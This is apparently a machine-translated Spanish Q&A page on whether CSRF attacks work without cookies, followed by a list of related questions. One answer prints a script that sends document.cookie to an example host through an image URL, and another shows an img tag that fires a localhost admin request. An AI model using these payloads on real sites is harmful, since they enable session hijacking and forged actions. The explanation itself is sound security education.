He estado investigando esto por un tiempo, pero no he encontrado nada que satisfaga mi curiosidad. ¿Es posible, como usuario, ser víctima de un ataque CSRF si las cookies están desactivadas? Obviamente CSRF depende del navegador de los usuarios para enviar las credenciales del usuario con la solicitud falsificada al servidor legítimo. Además de las direcciones IP, los navegadores no envían automáticamente ningún otro valor de sesión, ¿verdad? En ese caso, siempre que un usuario pueda iniciar sesión con las cookies desactivadas, estaría a salvo de CSRF incluso en sitios web vulnerables.¿Es posible CSRF sin cookies?
Respuesta
Por lo tanto, debe preguntarse cómo sabe el servidor de un cliente de otro. En la mayoría de los casos, es la cookie de sesión, pero también hay otras formas.
Considere una aplicación de administrador, que está configurada para funcionar solo si se accede desde el host local. Aquí, el servidor confía en la dirección IP del navegador. Ahora, si un atacante crea una página como <img src="http://localhost/do/something/harmful"/>
y de alguna manera hace que el administrador visite su página, usted tiene un CSRF.
Otros ejemplos incluyen abusar de la autenticación Http basic y digest, como Bruno ya señaló.
Claro - sólo pensar si el sitio comprometido no lo hizo HTML matorrales y que entró en el siguiente texto en un campo "comentario":
<script>
var img = document.createElement("img");
img.src = "http://example.com/collect.php?val=" + escape(document.cookie);
</script>
Básicamente estás usando javascript para recoger las galletas y escribir el valores en los parámetros de URL de una etiqueta de imagen para que se pasen al servidor "incorrecto" cuando el navegador intenta cargar la imagen.
Por supuesto, en el ejemplo anterior, estoy usando cookies de "document.cookie", pero en el espíritu de su pregunta "si las cookies están deshabilitadas" es igual de fácil extraer cualquier otra información del DOM (entrada oculta valores de campo, etc.) y enviarlos en la URL a su servidor de destino.
Existen otras formas de autenticación admitidas por los navegadores, en particular HTTP Basic y HTTP Digest, así como los certificados de cliente SSL/TLS. Desafortunadamente, la interfaz para "desconectarse" cuando se utilizan estos mecanismos suele ser bastante pobre. A diferencia de las cookies y formularios, detener el uso de las credenciales es controlado por el navegador (no por el servidor y sus cookies), pero los botones son, en el mejor de los casos, en algún menú avanzado en general (si es que existen).
Entonces, si un usuario deshabilita las cookies en su navegador, las alternativas típicas son Autenticación HTTP o simplemente pasando las ID de sesión a través de formularios. – grossmae
- 1. CSRF vulnerabilidad/cookies pregunta
- 2. Django CSRF Token sin formularios
- 3. ¿Es posible eliminar las cookies del subdominio?
- 4. ¿Es posible CSRF con métodos PUT o DELETE?
- 5. Sesión Scalatra sin cookies
- 6. Node.JS sesión sin cookies
- 7. ¿Es posible implementar "Recordarme" usando las cookies de jquery?
- 8. ¿Es posible enviar cookies en un DownloadManager de Android?
- 9. ¿Es posible que un ataque XSS obtenga cookies HttpOnly?
- 10. ¿es posible establecer cookies en otro dominio con javascript?
- 11. Sesión de PHP sin cookies
- 12. ¿No es CSRF un problema de seguridad del navegador?
- 13. .htaccess, YSlow, y "Usar dominios sin cookies"
- 14. ¿El ataque JSON CSRF/Theft sigue siendo posible?
- 15. OpenGL ES 2.0 posible sin NDK?
- 16. ¿Es posible usar Xtext sin eclipse?
- 17. ¿Es posible ejecutar javascript sin UIWebView?
- 18. ¿Es posible usar pyplot sin DISPLAY?
- 19. impidiendo que CSRF en php
- 20. Pregunta de protección CSRF
- 21. Django - CSRF token falta o es incorrecto
- 22. ¿Es así como funciona la protección CSRF de Django?
- 23. CSRF token generation
- 24. ¿Qué son las sesiones sin cookies?
- 25. Formulario sin token CSRF: ¿cuáles son los riesgos
- 26. Previniendo CSRF?
- 27. ajax.microsoft.com vs dominio sin cookies para cdn
- 28. JQuery + AJAX + Django = CSRF?
- 29. Problema de Ajax CSRF en Django 1.3
- 30. CodeIgniter ajax CSRF problema
IMO, siempre que el navegador de la víctima tenga una sesión activa o un token de acceso activo (a través de WebStorage, cookies, RAM u otro), el CSRF asumirá que el sitio no usa tokens de sincronización para prevenir CSRF. – Zack